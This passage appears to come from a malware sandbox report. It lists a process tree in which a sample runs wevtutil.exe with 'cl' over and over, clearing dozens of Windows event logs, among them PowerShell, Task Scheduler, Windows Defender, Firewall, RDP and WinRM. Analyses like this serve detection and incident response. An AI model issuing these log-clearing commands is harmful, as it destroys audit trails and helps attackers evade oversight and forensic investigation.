    wevtutil.exe cl "Microsoft-Windows-OneX/Diagnostic"
    3⤵
    PID:3956
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OobeLdr/Analytic"
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PCI/Diagnostic"
    3⤵
    PID:4052
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
    3⤵
    PID:1548
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PeerToPeerDrtEventProvider/Diagnostic"
    3⤵
    PID:37896
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational"
    3⤵
    PID:37908
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PortableDeviceStatusProvider/Analytic"
    3⤵
    PID:37920
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PortableDeviceSyncProvider/Analytic"
    3⤵
    PID:37936
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerCfg/Diagnostic"
    3⤵
    - Clears Windows event logs
    - Power Settings
    PID:37948
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerCpl/Diagnostic"
    3⤵
    PID:37956
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic"
    3⤵
    PID:37972
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Analytic"
    3⤵
    PID:37984
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
    3⤵
    PID:37996
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrimaryNetworkIcon/Performance"
    3⤵
    PID:38008
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
    3⤵
    - Clears Windows event logs
    PID:38020
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Debug"
    3⤵
    PID:38036
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Operational"
    3⤵
    PID:38040
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/Debug"
    3⤵
    PID:38056
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-QoS-Pacer/Diagnostic"
    3⤵
    PID:38068
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-QoS-qWAVE/Debug"
    3⤵
    PID:38076
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC-Proxy/Debug"
    3⤵
    PID:38096
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC/Debug"
    3⤵
    PID:38112
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC/EEInfo"
    3⤵
    PID:38124
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Analytic"
    3⤵
    PID:38136
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
    3⤵
    PID:38152
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Analytic"
    3⤵
    PID:38160
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
    3⤵
    PID:38172
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Recovery/Operational"
    3⤵
    PID:38188
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational"
    3⤵
    PID:38196
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
    3⤵
    PID:47544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
    3⤵
    PID:38212
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
    3⤵
    PID:38224
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Tracing"
    3⤵
    PID:38236
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin"
    3⤵
    PID:38248
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational"
    3⤵
    PID:38260
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Remotefs-UTProvider/Diagnostic"
    3⤵
    PID:38272
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
    3⤵
    PID:38284
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
    3⤵
    PID:38296
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational"
    3⤵
    PID:38308
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ResourcePublication/Tracing"
    3⤵
    PID:38320
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
    3⤵
    PID:38332
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Search-Core/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:38344
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Search-ProtocolHandlers/Diagnostic"
    3⤵
    PID:38356
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic"
    3⤵
    PID:38368
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
    3⤵
    PID:38380
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-IdentityListener/Operational"
    3⤵
    PID:38392
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP/Perf"
    3⤵
    - Clears Windows event logs
    PID:38404
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sens/Debug"
    3⤵
    PID:38416
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ServiceReportingApi/Debug"
    3⤵
    PID:38432
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Services-Svchost/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:38440
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Services/Diagnostic"
    3⤵
    PID:38452
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Setup/Analytic"
    3⤵
    PID:38464
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupCl/Analytic"
    3⤵
    PID:38480
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupQueue/Analytic"
    3⤵
    PID:38492
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupUGC/Analytic"
    3⤵
    PID:38504
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic"
    3⤵
    PID:38516
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic"
    3⤵
    PID:38528
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Common/Diagnostic"
    3⤵
    PID:38540
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:38552
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic"
    3⤵
    PID:5964
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-PasswordProvider/Diagnostic"
    3⤵
    PID:8252
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic"
    3⤵
    PID:8308
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/Diagnostic"
    3⤵
    PID:8316
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-DefaultPrograms/Diagnostic"
    3⤵
    PID:8488
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Shwebsvc"
    3⤵
    PID:8500
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-ZipFolder/Diagnostic"
    3⤵
    PID:8672
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shsvcs/Diagnostic"
    3⤵
    PID:15420
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sidebar/Diagnostic"
    3⤵
    PID:9464
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Speech-UserExperience/Diagnostic"
    3⤵
    PID:10176
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Spell-Checking/Analytic"
    3⤵
    PID:10492
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SpellChecker/Analytic"
    3⤵
    PID:2468
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StickyNotes/Admin"
    3⤵
    PID:4600
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StickyNotes/Debug"
    3⤵
    PID:4632
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StickyNotes/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:4564
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorDiag/Operational"
    3⤵
    PID:4380
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorPort/Operational"
    3⤵
    PID:1356
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Subsys-Csr/Operational"
    3⤵
    PID:3312
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Subsys-SMSS/Operational"
    3⤵
    PID:1268
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/Main"
    3⤵
    PID:1880
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/StoreLog"
    3⤵
    - Clears Windows event logs
    PID:2292
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sysprep/Analytic"
    3⤵
    PID:2212
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SystemHealthAgent/Diagnostic"
    3⤵
    PID:560
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TCPIP/Diagnostic"
    3⤵
    PID:1364
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Debug"
    3⤵
    - Clears Windows event logs
    PID:1616
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msctf/Diagnostic"
    3⤵
    PID:780
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Debug"
    3⤵
    - Clears Windows event logs
    PID:2820
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TSF-msutb/Diagnostic"
    3⤵
    PID:16748
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"
    3⤵
    PID:16784
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Debug"
    3⤵
    PID:16796
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Diagnostic"
    3⤵
    PID:16836
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskScheduler/Operational"
    3⤵
    PID:3196
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TaskbarCPL/Diagnostic"
    3⤵
    PID:2736
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin"
    3⤵
    PID:16936
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Analytic"
    3⤵
    PID:3428
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Debug"
    3⤵
    PID:3800
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational"
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"
    3⤵
    PID:4756
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Analytic"
    3⤵
    PID:4776
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Debug"
    3⤵
    PID:4912
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
    3⤵
    PID:4932
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-MediaRedirection/Analytic"
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"
    3⤵
    PID:8536
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Analytic"
    3⤵
    PID:8544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Debug"
    3⤵
    PID:11576
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"
    3⤵
    PID:11572
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Analytic"
    3⤵
    PID:11560
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Debug"
    3⤵
    PID:11544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"
    3⤵
    PID:11604
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Capture"
    3⤵
    PID:11592
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RdpSoundDriver/Playback"
    3⤵
    PID:38584
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"
    3⤵
    PID:11616
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Analytic"
    3⤵
    PID:38656
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Debug"
    3⤵
    PID:38772
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
    3⤵
    PID:11916
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Admin"
    3⤵
    PID:12096
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Analytic"
    3⤵
    PID:12164
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Debug"
    3⤵
    PID:12204
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TerminalServices-ServerUSBDevices/Operational"
    3⤵
    PID:5516
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ThemeCPL/Diagnostic"
    3⤵
    PID:12316
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ThemeUI/Diagnostic"
    3⤵
    PID:13320
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-TunnelDriver"
    3⤵
    PID:13328
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational"
    3⤵
    PID:1712
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UAC/Operational"
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAnimation/Diagnostic"
    3⤵
    PID:3280
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Debug"
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Diagnostic"
    3⤵
    PID:5156
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Perf"
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UIRibbon/Diagnostic"
    3⤵
    PID:5252
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBHUB/Diagnostic"
    3⤵
    PID:640
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-USB-USBPORT/Diagnostic"
    3⤵
    PID:6280
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Control Panel Performance/Diagnostic"
    3⤵
    PID:6324
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Profile Service/Diagnostic"
    3⤵
    PID:6416
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational"
    3⤵
    PID:6524
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-User-Loader/Analytic"
    3⤵
    PID:6540
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserModePowerService/Diagnostic"
    3⤵
    PID:6560
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceMetadata/Debug"
    3⤵
    PID:6772
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceNotifications"
    3⤵
    PID:6836
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/Performance"
    3⤵
    PID:6876
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UserPnp/SchedulerOperations"
    3⤵
    PID:13596
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-UxTheme/Diagnostic"
    3⤵
    PID:7652
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VAN/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:6888
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational"
    3⤵
    PID:6824
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VHDMP/Operational"
    3⤵
    PID:6544
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VWiFi/Diagnostic"
    3⤵
    PID:38916
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeControl/Performance"
    3⤵
    - Clears Windows event logs
    PID:14288
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-VolumeSnapshot-Driver/Operational"
    3⤵
    PID:6148
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WABSyncProvider/Analytic"
    3⤵
    PID:6476
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WCN-Config-Registrar/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:6456
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational"
    3⤵
    PID:6516
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WFP/Analytic"
    3⤵
    PID:6504
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WFP/Operational"
    3⤵
    PID:6496
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational"
    3⤵
    PID:6704
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLAN-Autoconfig/Diagnostic"
    3⤵
    PID:5824
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WLANConnectionFlow/Diagnostic"
    3⤵
    PID:38932
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMI-Activity/Trace"
    3⤵
    PID:6632
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPDMCCore/Diagnostic"
    3⤵
    PID:6720
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPDMCUI/Diagnostic"
    3⤵
    PID:6776
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSS-PublicAPI/Diagnostic"
    3⤵
    PID:6840
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSS-Service/Diagnostic"
    3⤵
    PID:39964
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WMPNSSUI/Diagnostic"
    3⤵
    PID:38960
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Analytic"
    3⤵
    PID:38956
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational"
    3⤵
    PID:38980
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Analytic"
    3⤵
    PID:38988
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational"
    3⤵
    PID:39000
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Operational"
    3⤵
    PID:39012
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WSC-SRV/Diagnostic"
    3⤵
    PID:39024
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WUSA/Debug"
    3⤵
    PID:39040
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WWAN-MM-Events/Diagnostic"
    3⤵
    PID:39052
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WWAN-NDISUIO-EVENTS/Diagnostic"
    3⤵
    PID:39064
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WWAN-SVC-Events/Diagnostic"
    3⤵
    PID:39076
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WWAN-UI-Events/Diagnostic"
    3⤵
    PID:39088
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WebIO-NDF/Diagnostic"
    3⤵
    PID:39100
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WebIO/Diagnostic"
    3⤵
    PID:39112
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WebServices/Tracing"
    3⤵
    PID:39124
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Win32k/Concurrency"
    3⤵
    PID:39136
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Win32k/Power"
    3⤵
    PID:39148
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Win32k/Render"
    3⤵
    PID:39160
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Win32k/Tracing"
    3⤵
    PID:39172
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Win32k/UIPI"
    3⤵
    PID:39184
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WinHTTP-NDF/Diagnostic"
    3⤵
    PID:39196
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WinHttp/Diagnostic"
    3⤵
    PID:39208
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WinINet/Analytic"
    3⤵
    PID:39220
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WinRM/Analytic"
    3⤵
    PID:39232
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WinRM/Debug"
    3⤵
    PID:39244
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WinRM/Operational"
    3⤵
    PID:39256
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windeploy/Analytic"
    3⤵
    PID:39268
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windows Defender/Operational"
    3⤵
    - Clears Windows event logs
    PID:39280
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windows Defender/WHC"
    3⤵
    PID:39292
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"
    3⤵
    PID:39304
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"
    3⤵
    PID:39316
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
    3⤵
    PID:39328
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"
    3⤵
    PID:39340
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WindowsBackup/ActionCenter"
    3⤵
    PID:39352
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-WindowsColorSystem/Debug"
    3⤵
    PID:39364
- - C:\Windows\SysWOW64\wevtutil.exe
